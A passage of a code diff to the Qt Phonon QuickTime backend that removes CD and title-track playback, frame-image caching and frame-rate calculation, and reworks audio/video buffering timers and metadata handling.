     // Update time and cancel pending swap:
     if (m_currentTime < m_videoPlayer->duration())
         m_waitNextSwap = false;
@@ -654,7 +557,7 @@ bool MediaObject::isSeekable() const
 qint64 MediaObject::currentTime() const
 {
     IMPLEMENTED_SILENT;
-    const_cast<MediaObject *>(this)->updateCurrentTime();
+    const_cast<MediaObject *>(this)->updateCurrentTime(); 
     return m_currentTime;
 }
 
@@ -664,24 +567,19 @@ void MediaObject::updateCurrentTime()
     m_currentTime = (m_audioSystem == AS_Graph) ? m_audioPlayer->currentTime() : m_videoPlayer->currentTime();
     quint64 total = m_videoPlayer->duration();
 
-    if (m_videoPlayer->currentTrack() < m_videoPlayer->trackCount() - 1){
-        // There are still more tracks to play after the current track.
-        if (m_autoplayTitles) {
-            if (lastUpdateTime < m_currentTime && m_currentTime == total)
-                setCurrentTrack(m_videoPlayer->currentTrack() + 1);
-        }
-    } else if (m_nextVideoPlayer->state() == QuickTimeVideoPlayer::NoMedia){
-        // There is no more sources or tracks to play after the current source.
-        // Check if it's time to emit aboutToFinish:
-        quint32 mark = qMax(quint64(0), qMin(total, total + m_transitionTime - 2000));
-        if (lastUpdateTime < mark && mark <= m_currentTime)
-            emit aboutToFinish();
-
-        // Check if it's time to emit prefinishMarkReached:
-        mark = qMax(quint64(0), total - m_prefinishMark);
-        if (lastUpdateTime < mark && mark <= m_currentTime)
-            emit prefinishMarkReached(total - m_currentTime);
+    // Check if it's time to emit aboutToFinish:
+    quint32 mark = qMax(quint64(0), qMin(total, total + m_transitionTime - 2000));
+    if (lastUpdateTime < mark && mark <= m_currentTime)
+        emit aboutToFinish();
 
+    // Check if it's time to emit prefinishMarkReached:
+    mark = qMax(quint64(0), total - m_prefinishMark);
+    if (lastUpdateTime < mark && mark <= m_currentTime)
+        emit prefinishMarkReached(total - m_currentTime);
+
+    if (m_nextVideoPlayer->state() == QuickTimeVideoPlayer::NoMedia){
+        // There is no next source in que.
+        // Check if it's time to emit finished:
         if (lastUpdateTime < m_currentTime && m_currentTime == total){
             emit finished();
             m_currentTime = (m_audioSystem == AS_Graph) ? m_audioPlayer->currentTime() : m_videoPlayer->currentTime();
@@ -691,7 +589,7 @@ void MediaObject::updateCurrentTime()
     } else {
         // We have a next source.
         // Check if it's time to swap to next source:
-        quint32 mark = qMax(quint64(0), total + m_transitionTime);
+        mark = qMax(quint64(0), total + m_transitionTime);
         if (m_waitNextSwap && m_state == Phonon::PlayingState &&
             m_transitionTime < m_swapTime.msecsTo(QTime::currentTime())){
             swapCurrentWithNext(0);
@@ -794,14 +692,14 @@ bool MediaObject::setAudioDeviceOnMovie(int id)
 
 void MediaObject::updateCrossFade()
 {
-    m_mediaObjectAudioNode->updateCrossFade(m_currentTime);
+    m_mediaObjectAudioNode->updateCrossFade(m_currentTime);   
     // Clean-up previous movie if done fading:
     if (m_mediaObjectAudioNode->m_fadeDuration == 0){
         if (m_nextVideoPlayer->isPlaying() || m_nextAudioPlayer->isPlaying()){
-            m_nextVideoPlayer->unsetCurrentMediaSource();
+            m_nextVideoPlayer->unsetVideo();
             m_nextAudioPlayer->unsetVideoPlayer();
         }
-    }
+    }        
 }
 
 void MediaObject::updateBufferStatus()
@@ -830,7 +728,7 @@ void MediaObject::updateVideoFrames()
     // Draw next frame if awailable:
     if (m_videoPlayer->videoFrameChanged()){
         updateLipSynch(50);
-        VideoFrame frame(m_videoPlayer);
+        VideoFrame frame(m_videoPlayer);           
         if (m_nextVideoPlayer->isPlaying()
             && m_nextVideoPlayer->hasVideo()
             && isCrossFading()){
@@ -838,9 +736,9 @@ void MediaObject::updateVideoFrames()
             frame.setBackgroundFrame(bgFrame);
             frame.setBaseOpacity(m_mediaObjectAudioNode->m_volume1);
         }
-
+        
         // Send the frame through the graph:
-        updateVideo(frame);
+        updateVideo(frame);    
         checkForError();
     }
 }
@@ -851,7 +749,7 @@ void MediaObject::updateLipSynch(int allowedOffset)
         return;
     if (m_videoSinkList.isEmpty() || m_audioSinkList.isEmpty())
         return;
-
+        
     if (m_videoPlayer->hasVideo()){
         qint64 diff = m_audioPlayer->currentTime() - m_videoPlayer->currentTime();
         if (-allowedOffset > diff || diff > allowedOffset)
@@ -865,6 +763,16 @@ void MediaObject::updateLipSynch(int allowedOffset)
     }
 }
 
+void MediaObject::bufferAudioVideo()
+{
+    long nextVideoUpdate = m_videoPlayer->hasVideo() ? 30 : INT_MAX;
+    long nextAudioUpdate = m_audioPlayer->regularTaskFrequency();
+    updateAudioBuffers();
+    updateVideoFrames();
+    if (m_state == Phonon::PlayingState)
+        updateTimer(m_bufferTimer, qMin(nextVideoUpdate, nextAudioUpdate));
+}
+
 void MediaObject::updateRapidly()
 {
     updateCurrentTime();
@@ -889,8 +797,8 @@ void MediaObject::mediaNodeEvent(const MediaNodeEvent *event)
             synchAudioVideo();
             checkForError();
             m_mediaObjectAudioNode->setMute(false);
-            if (m_state == Phonon::PlayingState)
-                restartAudioVideoTimers();
+             if (m_state == Phonon::PlayingState)
+                bufferAudioVideo();
             break;
         case MediaNodeEvent::AudioGraphCannotPlay:
         case MediaNodeEvent::AudioGraphInitialized:
@@ -901,7 +809,7 @@ void MediaObject::mediaNodeEvent(const MediaNodeEvent *event)
                 checkForError();
                 m_mediaObjectAudioNode->setMute(false);
             }
-            break;
+            break; 
         default:
             break;
     }
@@ -910,67 +818,29 @@ void MediaObject::mediaNodeEvent(const MediaNodeEvent *event)
 bool MediaObject::event(QEvent *event)
 {
     switch (event->type()){
-#if QT_ALLOW_QUICKTIME
-        case QEvent::User:{
-            m_displayLinkMutex.lock();
-            m_pendingDisplayLinkEvent = false;
-            m_displayLinkMutex.unlock();
-            updateVideoFrames();
-            break; }
-#endif
-        case QEvent::Timer:{
-            int timerId = static_cast<QTimerEvent *>(event)->timerId();
-            if (timerId == m_rapidTimer)
+        case QEvent::Timer: {
+            QTimerEvent *timerEvent = static_cast<QTimerEvent *>(event);
+            if (timerEvent->timerId() == m_rapidTimer)
                 updateRapidly();
-            else if (timerId == m_tickTimer)
+            else if (timerEvent->timerId() == m_tickTimer)
                 emit tick(currentTime());
-            else if (timerId == m_videoTimer)
-                updateVideoFrames();
-            else if (timerId == m_audioTimer)
-                updateAudioBuffers();
-            break; }
+            else if (timerEvent->timerId() == m_bufferTimer)
+                bufferAudioVideo();
+            }
+            break;
         default:
             break;
     }
     return QObject::event(event);
 }
 
-void MediaObject::setCurrentTrack(int track)
+bool MediaObject::hasInterface(Interface /*interface*/) const
 {
-    if (track == m_videoPlayer->currentTrack() || track < 0 || track >= m_videoPlayer->trackCount())
-        return;
-
-    m_videoPlayer->setCurrentTrack(track);
-    emit titleChanged(track);
-    emit metaDataChanged(m_videoPlayer->metaData());
+    return false;
 }
 
-bool MediaObject::hasInterface(Interface iface) const
+QVariant MediaObject::interfaceCall(Interface /*interface*/, int /*command*/, const QList<QVariant> &/*arguments*/)
 {
-    return iface == AddonInterface::TitleInterface;
-}
-
-QVariant MediaObject::interfaceCall(Interface iface, int command, const QList<QVariant> &params)
-{
-    switch (iface) {
-        case TitleInterface:
-            switch (command) {
-                case availableTitles:
-                    return m_videoPlayer->trackCount();
-                case title:
-                    return m_videoPlayer->currentTrack();
-                case setTitle:
-                    setCurrentTrack(params.first().toInt());
-                    break;
-                case autoplayTitles:
-                    return m_autoplayTitles;
-                case setAutoplayTitles:
-                    m_autoplayTitles = params.first().toBool();
-                    break;
-            }
-        default:
-            break;
-    }
     return QVariant();
 }
 
diff --git a/src/3rdparty/phonon/qt7/mediaobjectaudionode.mm b/src/3rdparty/phonon/qt7/mediaobjectaudionode.mm
index 66d6041..39b0d4e 100644
--- a/src/3rdparty/phonon/qt7/mediaobjectaudionode.mm
+++ b/src/3rdparty/phonon/qt7/mediaobjectaudionode.mm
@@ -15,6 +15,8 @@
     along with this library.  If not, see <http://www.gnu.org/licenses/>.
 */
 
+#import <QTKit/QTMovie.h>
+
 #include "mediaobjectaudionode.h"
 #include "quicktimeaudioplayer.h"
 #include "quicktimevideoplayer.h"
diff --git a/src/3rdparty/phonon/qt7/quicktimeaudioplayer.mm b/src/3rdparty/phonon/qt7/quicktimeaudioplayer.mm
index 61c97cc..aefec02 100644
--- a/src/3rdparty/phonon/qt7/quicktimeaudioplayer.mm
+++ b/src/3rdparty/phonon/qt7/quicktimeaudioplayer.mm
@@ -15,6 +15,8 @@
     along with this library.  If not, see <http://www.gnu.org/licenses/>.
 */
 
+#import <QTKit/QTMovie.h>
+
 #include "quicktimeaudioplayer.h"
 #include "quicktimevideoplayer.h"
 #include "audiograph.h"
diff --git a/src/3rdparty/phonon/qt7/quicktimemetadata.h b/src/3rdparty/phonon/qt7/quicktimemetadata.h
index c589535..d524183 100644
--- a/src/3rdparty/phonon/qt7/quicktimemetadata.h
+++ b/src/3rdparty/phonon/qt7/quicktimemetadata.h
@@ -38,8 +38,10 @@ namespace QT7
     class QuickTimeMetaData
     {
         public:
-            QuickTimeMetaData(QuickTimeVideoPlayer *videoPlayer);
-            void update();
+            QuickTimeMetaData();
+            virtual ~QuickTimeMetaData();
+
+            void setVideo(QuickTimeVideoPlayer *videoPlayer);
             QMultiMap<QString, QString> metaData();
 
         private:
@@ -47,8 +49,6 @@ namespace QT7
             bool m_movieChanged;
             QuickTimeVideoPlayer *m_videoPlayer;
             void readMetaData();
-            void guessMetaDataForCD();
-            void readMetaDataFromMovie();
 
 #ifdef QUICKTIME_C_API_AVAILABLE
             QString stripCopyRightSymbol(const QString &key);
diff --git a/src/3rdparty/phonon/qt7/quicktimemetadata.mm b/src/3rdparty/phonon/qt7/quicktimemetadata.mm
index 2dcc152..4ae3e2c 100644
--- a/src/3rdparty/phonon/qt7/quicktimemetadata.mm
+++ b/src/3rdparty/phonon/qt7/quicktimemetadata.mm
@@ -15,7 +15,8 @@
     along with this library.  If not, see <http://www.gnu.org/licenses/>.
 */
 
-#include <QtCore/QFileInfo>
+#import <QTKit/QTMovie.h>
+
 #include "quicktimemetadata.h"
 #include "quicktimevideoplayer.h"
 
@@ -26,14 +27,19 @@ namespace Phonon
 namespace QT7
 {
 
-QuickTimeMetaData::QuickTimeMetaData(QuickTimeVideoPlayer *videoPlayer)
+QuickTimeMetaData::QuickTimeMetaData()
 {
-    m_videoPlayer = videoPlayer;
+    m_videoPlayer = 0;
     m_movieChanged = false;
 }
 
-void QuickTimeMetaData::update()
+QuickTimeMetaData::~QuickTimeMetaData()
+{
+}
+
+void QuickTimeMetaData::setVideo(QuickTimeVideoPlayer *videoPlayer)
 {
+    m_videoPlayer = videoPlayer;
     m_movieChanged = true;
     m_metaData.clear();
 }
@@ -141,22 +147,14 @@ void QuickTimeMetaData::readFormattedData(QTMetaDataRef metaDataRef, OSType form
 
 #endif // QUICKTIME_C_API_AVAILABLE
 
-void QuickTimeMetaData::guessMetaDataForCD()
-{
-    QString album = QFileInfo(m_videoPlayer->movieCompactDiscPath()).fileName();
-    QString title = QFileInfo(m_videoPlayer->currentTrackPath()).fileName();
-    title = title.left(title.lastIndexOf('.'));
-    m_metaData.insert(QLatin1String("ALBUM"), album);
-    m_metaData.insert(QLatin1String("TITLE"), title);
-    m_metaData.insert(QLatin1String("TRACKNUMBER"), QString::number(m_videoPlayer->currentTrack()));
-}
-
-void QuickTimeMetaData::readMetaDataFromMovie()
+void QuickTimeMetaData::readMetaData()
 {
+	if (!m_videoPlayer)
+        return;
     QMultiMap<QString, QString> metaMap;
-
+    
 #ifdef QUICKTIME_C_API_AVAILABLE
-    QTMetaDataRef metaDataRef;
+	QTMetaDataRef metaDataRef;        
 	OSStatus err = QTCopyMovieMetaData([m_videoPlayer->qtMovie() quickTimeMovie], &metaDataRef);
     BACKEND_ASSERT2(err == noErr, "Could not read QuickTime meta data", NORMAL_ERROR)
 
@@ -177,17 +175,6 @@ void QuickTimeMetaData::readMetaDataFromMovie()
     m_metaData.insert(QLatin1String("DESCRIPTION"), metaMap.value(QLatin1String("des")));
 }
 
-void QuickTimeMetaData::readMetaData()
-{
-	if (!m_videoPlayer)
-        return;
-
-    if (m_videoPlayer->mediaSource().type() == Phonon::MediaSource::Disc)
-        guessMetaDataForCD();
-    else
-        readMetaDataFromMovie();
-}
-
 QMultiMap<QString, QString> QuickTimeMetaData::metaData()
 {
     if (m_videoPlayer && m_videoPlayer->hasMovie() && m_movieChanged)
diff --git a/src/3rdparty/phonon/qt7/quicktimevideoplayer.h b/src/3rdparty/phonon/qt7/quicktimevideoplayer.h
index 98eacb5..0b3aec2 100644
--- a/src/3rdparty/phonon/qt7/quicktimevideoplayer.h
+++ b/src/3rdparty/phonon/qt7/quicktimevideoplayer.h
@@ -20,7 +20,6 @@
 
 #include "backendheader.h"
 
-#include <QtGui/qmacdefines_mac.h>
 #import <QTKit/QTDataReference.h>
 #import <QTKit/QTMovie.h>
 
@@ -39,7 +38,6 @@ namespace Phonon
 namespace QT7
 {
     class QuickTimeStreamReader;
-    class QuickTimeMetaData;
 	class VideoRenderWidgetQTMovieView;
 
     class QuickTimeVideoPlayer : QObject
@@ -57,7 +55,7 @@ namespace QT7
 
             void setMediaSource(const MediaSource &source);
             MediaSource mediaSource() const;
-            void unsetCurrentMediaSource();
+            void unsetVideo();
 
             void play();
             void pause();
@@ -68,13 +66,11 @@ namespace QT7
             GLuint currentFrameAsGLTexture();
 			void *currentFrameAsCIImage();
             QImage currentFrameAsQImage();
-            void releaseImageCache();
             QRect videoRect() const;
 
             quint64 duration() const;
             quint64 currentTime() const;
             long timeScale() const;
-            float staticFps();
             QString currentTimeString();
 
             void setColors(qreal brightness = 0, qreal contrast = 1, qreal hue = 0, qreal saturation = 1);
@@ -87,7 +83,6 @@ namespace QT7
             bool setAudioDevice(int id);
             void setPlaybackRate(float rate);
             QTMovie *qtMovie() const;
-            QMultiMap<QString, QString> metaData();
 
             float playbackRate() const;
             float prefferedPlaybackRate() const;
@@ -107,12 +102,6 @@ namespace QT7
             float percentageLoaded();
             quint64 timeLoaded();
 
-            int trackCount() const;
-            int currentTrack() const;
-            void setCurrentTrack(int track);
-            QString movieCompactDiscPath() const;
-            QString currentTrackPath() const;
-
             static QString timeToString(quint64 ms);
 
 			// Help functions when drawing to more that one widget in cocoa 64:
@@ -126,10 +115,6 @@ namespace QT7
             QTMovie *m_QTMovie;
             State m_state;
             QGLPixelBuffer *m_QImagePixelBuffer;
-            QuickTimeMetaData *m_metaData;
-
-            CVOpenGLTextureRef m_cachedCVTextureRef;
-            QImage m_cachedQImage;
 
             bool m_playbackRateSat;
             bool m_isDrmProtected;
@@ -140,18 +125,13 @@ namespace QT7
             float m_masterVolume;
             float m_relativeVolume;
             float m_playbackRate;
-            float m_staticFps;
             quint64 m_currentTime;
             MediaSource m_mediaSource;
-
 			void *m_primaryRenderingCIImage;
 			qreal m_brightness;
 			qreal m_contrast;
 			qreal m_hue;
 			qreal m_saturation;
-            NSArray *m_folderTracks;
-            int m_currentTrack;
-            QString m_movieCompactDiscPath;
 
 #ifdef QUICKTIME_C_API_AVAILABLE
             QTVisualContextRef m_visualContext;
@@ -159,26 +139,20 @@ namespace QT7
             VideoFrame m_currentFrame;
             QuickTimeStreamReader *m_streamReader;
 
-            void prepareCurrentMovieForPlayback();
             void createVisualContext();
             void openMovieFromCurrentMediaSource();
             void openMovieFromDataRef(QTDataReference *dataRef);
             void openMovieFromFile();
             void openMovieFromUrl();
             void openMovieFromStream();
-            void openMovieFromCompactDisc();
             void openMovieFromData(QByteArray *data, char *fileType);
             void openMovieFromDataGuessType(QByteArray *data);
 			QString mediaSourcePath();
 			bool codecExistsAccordingToSuffix(const QString &fileName);
-            NSString* pathToCompactDisc();
-            bool isCompactDisc(NSString *path);
-            NSArray* scanFolder(NSString *path);
 
             void setError(NSError *error);
             bool errorOccured();
             void readProtection();
-            void calculateStaticFps();
             void checkIfVideoAwailable();
             bool movieNotLoaded();
             void waitStatePlayable();
diff --git a/src/3rdparty/phonon/qt7/quicktimevideoplayer.mm b/src/3rdparty/phonon/qt7/quicktimevideoplayer.mm
index 23c76e3..3f76132 100644
--- a/src/3rdparty/phonon/qt7/quicktimevideoplayer.mm
+++ b/src/3rdparty/phonon/qt7/quicktimevideoplayer.mm
@@ -20,7 +20,6 @@
 #include "videowidget.h"
 #include "audiodevice.h"
 #include "quicktimestreamreader.h"
-#include "quicktimemetadata.h"
 
 #include <QtCore/QCoreApplication>
 #include <QtCore/QEventLoop>
@@ -53,7 +52,6 @@ QuickTimeVideoPlayer::QuickTimeVideoPlayer() : QObject(0)
 {
     m_state = NoMedia;
     m_mediaSource = MediaSource();
-    m_metaData = new QuickTimeMetaData(this);
     m_QTMovie = 0;
     m_streamReader = 0;
     m_playbackRate = 1.0f;
@@ -63,16 +61,12 @@ QuickTimeVideoPlayer::QuickTimeVideoPlayer() : QObject(0)
     m_mute = false;
     m_audioEnabled = false;
     m_hasVideo = false;
-    m_staticFps = 0;
     m_playbackRateSat = false;
     m_isDrmProtected = false;
     m_isDrmAuthorized = true;
 	m_primaryRenderingTarget = 0;
 	m_primaryRenderingCIImage = 0;
     m_QImagePixelBuffer = 0;
-    m_cachedCVTextureRef = 0;
-    m_folderTracks = 0;
-    m_currentTrack = 0;
 
 #ifdef QUICKTIME_C_API_AVAILABLE
     OSStatus err = EnterMovies();
@@ -83,9 +77,7 @@ QuickTimeVideoPlayer::QuickTimeVideoPlayer() : QObject(0)
 
 QuickTimeVideoPlayer::~QuickTimeVideoPlayer()
 {
-	PhononAutoReleasePool pool;
-    unsetCurrentMediaSource();
-    delete m_metaData;
+    unsetVideo();
     [(NSObject*)m_primaryRenderingTarget release];
     m_primaryRenderingTarget = 0;
 #ifdef QUICKTIME_C_API_AVAILABLE
@@ -94,15 +86,6 @@ QuickTimeVideoPlayer::~QuickTimeVideoPlayer()
 #endif
 }
 
-void QuickTimeVideoPlayer::releaseImageCache()
-{
-    if (m_cachedCVTextureRef){
-        CVOpenGLTextureRelease(m_cachedCVTextureRef);
-        m_cachedCVTextureRef = 0;
-    }
-    m_cachedQImage = QImage();
-}
-
 void QuickTimeVideoPlayer::createVisualContext()
 {
 #ifdef QUICKTIME_C_API_AVAILABLE
@@ -142,10 +125,7 @@ bool QuickTimeVideoPlayer::videoFrameChanged()
 		return false;
 
     QTVisualContextTask(m_visualContext);
-    bool changed = QTVisualContextIsNewImageAvailable(m_visualContext, 0);
-    if (changed)
-        releaseImageCache();
-    return changed;
+    return QTVisualContextIsNewImageAvailable(m_visualContext, 0);
 
 #elif defined(QT_MAC_USE_COCOA)
     return true;
@@ -160,11 +140,10 @@ CVOpenGLTextureRef QuickTimeVideoPlayer::currentFrameAsCVTexture()
 #ifdef QUICKTIME_C_API_AVAILABLE
     if (!m_visualContext)
         return 0;
-    if (!m_cachedCVTextureRef){
-        OSStatus err = QTVisualContextCopyImageForTime(m_visualContext, 0, 0, &m_cachedCVTextureRef);
-        BACKEND_ASSERT3(err == noErr, "Could not copy image for time in QuickTime player", FATAL_ERROR, 0)
-    }
-    return m_cachedCVTextureRef;
+    CVOpenGLTextureRef texture = 0;
+    OSStatus err = QTVisualContextCopyImageForTime(m_visualContext, 0, 0, &texture);
+    BACKEND_ASSERT3(err == noErr, "Could not copy image for time in QuickTime player", FATAL_ERROR, 0)
+    return texture;
 
 #else
     return 0;
@@ -173,9 +152,6 @@ CVOpenGLTextureRef QuickTimeVideoPlayer::currentFrameAsCVTexture()
 
 QImage QuickTimeVideoPlayer::currentFrameAsQImage()
 {
-    if (!m_cachedQImage.isNull())
-        return m_cachedQImage;
-
 #ifdef QUICKTIME_C_API_AVAILABLE
     QGLContext *prevContext = const_cast<QGLContext *>(QGLContext::currentContext());
     CVOpenGLTextureRef texture = currentFrameAsCVTexture();
@@ -205,11 +181,12 @@ QImage QuickTimeVideoPlayer::currentFrameAsQImage()
         glVertex2i(-1, -1);
     glEnd();
 
-    m_cachedQImage = m_QImagePixelBuffer->toImage();
+    QImage image = m_QImagePixelBuffer->toImage();
+    CVOpenGLTextureRelease(texture);
     // Because of QuickTime, m_QImagePixelBuffer->doneCurrent() will fail.
     // So we store, and restore, the context our selves:
     prevContext->makeCurrent();
-    return m_cachedQImage;
+    return image;
 #else
 	CIImage *img = (CIImage *)currentFrameAsCIImage();
 	if (!img)
@@ -218,10 +195,10 @@ QImage QuickTimeVideoPlayer::currentFrameAsQImage()
 	NSBitmapImageRep* bitmap = [[NSBitmapImageRep alloc] initWithCIImage:img];
 	CGRect bounds = [img extent];
 	QImage qImg([bitmap bitmapData], bounds.size.width, bounds.size.height, QImage::Format_ARGB32);
-	m_cachedQImage = qImg.rgbSwapped();
+	QImage swapped = qImg.rgbSwapped();
 	[bitmap release];
 	[img release];
-	return m_cachedQImage;
+	return swapped;
 #endif
 }
 
@@ -273,7 +250,8 @@ void *QuickTimeVideoPlayer::currentFrameAsCIImage()
 #ifdef QUICKTIME_C_API_AVAILABLE
 	CVOpenGLTextureRef cvImg = currentFrameAsCVTexture();
 	CIImage *img = [[CIImage alloc] initWithCVImageBuffer:cvImg];
-	return img;
+	CVOpenGLTextureRelease(cvImg);
+	return img;	
 #else
 	return 0;
 #endif
@@ -295,7 +273,7 @@ GLuint QuickTimeVideoPlayer::currentFrameAsGLTexture()
 
     int samplesPerPixel = [bitmap samplesPerPixel];
     if (![bitmap isPlanar] && (samplesPerPixel == 3 || samplesPerPixel == 4)){
-        glTexImage2D(GL_TEXTURE_RECTANGLE_EXT, 0,
+        glTexImage2D(GL_TEXTURE_RECTANGLE_EXT, 0, 
             samplesPerPixel == 4 ? GL_RGBA8 : GL_RGB8,
             [bitmap pixelsWide], [bitmap pixelsHigh],
             0, samplesPerPixel == 4 ? GL_RGBA : GL_RGB,
@@ -324,7 +302,7 @@ void QuickTimeVideoPlayer::setVolume(float masterVolume, float relativeVolume)
     m_masterVolume = masterVolume;
     m_relativeVolume = relativeVolume;
     if (!m_QTMovie || !m_audioEnabled || m_mute)
-        return;
+        return;                
     [m_QTMovie setVolume:(m_masterVolume * m_relativeVolume)];
 }
 
@@ -335,7 +313,7 @@ void QuickTimeVideoPlayer::setMute(bool mute)
         return;
 
     // Work-around bug that happends if you set/unset mute
-    // before movie is playing, and audio is not played
+    // before movie is playing, and audio is not played 
     // through graph. Then audio is delayed.
     [m_QTMovie setMuted:mute];
     [m_QTMovie setVolume:(mute ? 0 : m_masterVolume * m_relativeVolume)];
@@ -348,7 +326,7 @@ void QuickTimeVideoPlayer::enableAudio(bool enable)
         return;
 
     // Work-around bug that happends if you set/unset mute
-    // before movie is playing, and audio is not played
+    // before movie is playing, and audio is not played 
     // through graph. Then audio is delayed.
     [m_QTMovie setMuted:(!enable || m_mute)];
     [m_QTMovie setVolume:((!enable || m_mute) ? 0 : m_masterVolume * m_relativeVolume)];
@@ -367,7 +345,7 @@ bool QuickTimeVideoPlayer::setAudioDevice(int id)
 #ifdef QUICKTIME_C_API_AVAILABLE
     // The following code will not work for some media codecs that
     // typically mingle audio/video frames (e.g mpeg).
-    CFStringRef idString = PhononCFString::toCFStringRef(AudioDevice::deviceUID(id));
+    CFStringRef idString = PhononCFString::toCFStringRef(AudioDevice::deviceUID(id));        
     QTAudioContextRef context;
     QTAudioContextCreateForAudioDevice(kCFAllocatorDefault, idString, 0, &context);
     OSStatus err = SetMovieAudioContext([m_QTMovie quickTimeMovie], context);
@@ -391,16 +369,11 @@ void QuickTimeVideoPlayer::setColors(qreal brightness, qreal contrast, qreal hue
     contrast += 1;
     saturation += 1;
 
-    if (m_brightness == brightness
-        && m_contrast == contrast
-        && m_hue == hue
-        && m_saturation == saturation)
-        return;
-
 	m_brightness = brightness;
 	m_contrast = contrast;
 	m_hue = hue;
 	m_saturation = saturation;
+	
 #ifdef QUICKTIME_C_API_AVAILABLE
     Float32 value;
     value = brightness;
@@ -412,7 +385,6 @@ void QuickTimeVideoPlayer::setColors(qreal brightness, qreal contrast, qreal hue
     value = saturation;
     SetMovieVisualSaturation([m_QTMovie quickTimeMovie], value, 0);
 #endif
-    releaseImageCache();
 }
 
 QRect QuickTimeVideoPlayer::videoRect() const
@@ -425,7 +397,7 @@ QRect QuickTimeVideoPlayer::videoRect() const
     return QRect(0, 0, size.width, size.height);
 }
 
-void QuickTimeVideoPlayer::unsetCurrentMediaSource()
+void QuickTimeVideoPlayer::unsetVideo()
 {
     if (!m_QTMovie)
         return;
@@ -438,17 +410,11 @@ void QuickTimeVideoPlayer::unsetCurrentMediaSource()
     m_state = NoMedia;
     m_isDrmProtected = false;
     m_isDrmAuthorized = true;
-    m_hasVideo = false;
-    m_staticFps = 0;
     m_mediaSource = MediaSource();
-    m_movieCompactDiscPath.clear();
 	[(CIImage *)m_primaryRenderingCIImage release];
 	m_primaryRenderingCIImage = 0;
     delete m_QImagePixelBuffer;
     m_QImagePixelBuffer = 0;
-    releaseImageCache();
-    [m_folderTracks release];
-    m_folderTracks = 0;
 }
 
 QuickTimeVideoPlayer::State QuickTimeVideoPlayer::state() const
@@ -558,25 +524,18 @@ bool QuickTimeVideoPlayer::codecExistsAccordingToSuffix(const QString &fileName)
 void QuickTimeVideoPlayer::setMediaSource(const MediaSource &mediaSource)
 {
     PhononAutoReleasePool pool;
-    unsetCurrentMediaSource();
-
+    unsetVideo();
     m_mediaSource = mediaSource;
     if (mediaSource.type() == MediaSource::Empty || mediaSource.type() == MediaSource::Invalid){
         m_state = NoMedia;
         return;
     }
-
     openMovieFromCurrentMediaSource();
     if (errorOccured()){
-        unsetCurrentMediaSource();
+        unsetVideo();
         return;
     }
 
-    prepareCurrentMovieForPlayback();
-}
-
-void QuickTimeVideoPlayer::prepareCurrentMovieForPlayback()
-{
 #ifdef QUICKTIME_C_API_AVAILABLE
     if (m_visualContext)
         SetMovieVisualContext([m_QTMovie quickTimeMovie], m_visualContext);
@@ -584,25 +543,23 @@ void QuickTimeVideoPlayer::prepareCurrentMovieForPlayback()
 
     waitStatePlayable();
     if (errorOccured()){
-        unsetCurrentMediaSource();
+        unsetVideo();
         return;
     }
 
     readProtection();
     preRollMovie();
     if (errorOccured()){
-        unsetCurrentMediaSource();
+        unsetVideo();
         return;
     }
 
     if (!m_playbackRateSat)
         m_playbackRate = prefferedPlaybackRate();
     checkIfVideoAwailable();
-    calculateStaticFps();
     enableAudio(m_audioEnabled);
     setMute(m_mute);
     setVolume(m_masterVolume, m_relativeVolume);
-    m_metaData->update();
     pause();
 }
 
@@ -616,7 +573,7 @@ void QuickTimeVideoPlayer::openMovieFromCurrentMediaSource()
         openMovieFromUrl();
         break;
     case MediaSource::Disc:
-        openMovieFromCompactDisc();
+        CASE_UNSUPPORTED("Could not open media source.", FATAL_ERROR)
         break;
     case MediaSource::Stream:
         openMovieFromStream();
@@ -678,7 +635,7 @@ void QuickTimeVideoPlayer::openMovieFromDataGuessType(QByteArray *data)
     // than using e.g [QTMovie movieFileTypes:QTIncludeCommonTypes]. Some
     // codecs *think* they can decode the stream, and crash...
 #define TryOpenMovieWithCodec(type) gClearError(); \
-    openMovieFromData(data, (char *)"."type); \
+    openMovieFromData(data, "."type); \
     if (m_QTMovie) return;
 
     TryOpenMovieWithCodec("avi");
@@ -718,50 +675,6 @@ void QuickTimeVideoPlayer::openMovieFromStream()
     openMovieFromDataGuessType(m_streamReader->pointerToData());
 }
 
-typedef void (*qt_sighandler_t)(int);
-static void sigtest(int) {
-    qApp->exit(0);
-}
-
-void QuickTimeVideoPlayer::openMovieFromCompactDisc()
-{
-    // Interrupting the application while the device is open
-    // causes the application to hang. So we need to handle
-    // this in a more graceful way:
-    qt_sighandler_t hndl = signal(SIGINT, sigtest);
-    if (hndl)
-        signal(SIGINT, hndl);
-
-    PhononAutoReleasePool pool;
-    NSString *cd = 0;
-    QString devName = m_mediaSource.deviceName();
-    if (devName.isEmpty()) {
-        cd = pathToCompactDisc();
-        if (!cd) {
-            SET_ERROR("Could not open media source.", NORMAL_ERROR)
-            return;
-        }
-        m_movieCompactDiscPath = PhononCFString::toQString(reinterpret_cast<CFStringRef>(cd));
-    } else {
-       if (!QFileInfo(devName).isAbsolute())
-           devName = QLatin1String("/Volumes/") + devName;
-       cd = [reinterpret_cast<const NSString *>(PhononCFString::toCFStringRef(devName)) autorelease];
-       if (!isCompactDisc(cd)) {
-           SET_ERROR("Could not open media source.", NORMAL_ERROR)
-           return;
-       }
-       m_movieCompactDiscPath = devName;
-    }
-
-    m_folderTracks = [scanFolder(cd) retain];
-    setCurrentTrack(0);
-}
-
-QString QuickTimeVideoPlayer::movieCompactDiscPath() const
-{
-    return m_movieCompactDiscPath;
-}
-
 MediaSource QuickTimeVideoPlayer::mediaSource() const
 {
     return m_mediaSource;
@@ -807,44 +720,6 @@ long QuickTimeVideoPlayer::timeScale() const
     return [[m_QTMovie attributeForKey:@"QTMovieTimeScaleAttribute"] longValue];
 }
 
-float QuickTimeVideoPlayer::staticFps()
-{
-    return m_staticFps;
-}
-
-void QuickTimeVideoPlayer::calculateStaticFps()
-{
-    if (!m_hasVideo){
-        m_staticFps = 0;
-        return;
-    }
-
-#ifdef QT_ALLOW_QUICKTIME
-    Boolean isMpeg = false;
-    Track videoTrack = GetMovieIndTrackType([m_QTMovie quickTimeMovie], 1,
-            FOUR_CHAR_CODE('vfrr'), // 'vfrr' means: has frame rate
-            movieTrackCharacteristic | movieTrackEnabledOnly);
-    Media media = GetTrackMedia(videoTrack);
-    MediaHandler mediaH = GetMediaHandler(media);
-    MediaHasCharacteristic(mediaH, FOUR_CHAR_CODE('mpeg'), &isMpeg);
-
-    if (isMpeg){
-        MHInfoEncodedFrameRateRecord frameRate;
-        Size frameRateSize = sizeof(frameRate);
-        MediaGetPublicInfo(mediaH, kMHInfoEncodedFrameRate, &frameRate, &frameRateSize);
-        m_staticFps = float(Fix2X(frameRate.encodedFrameRate));
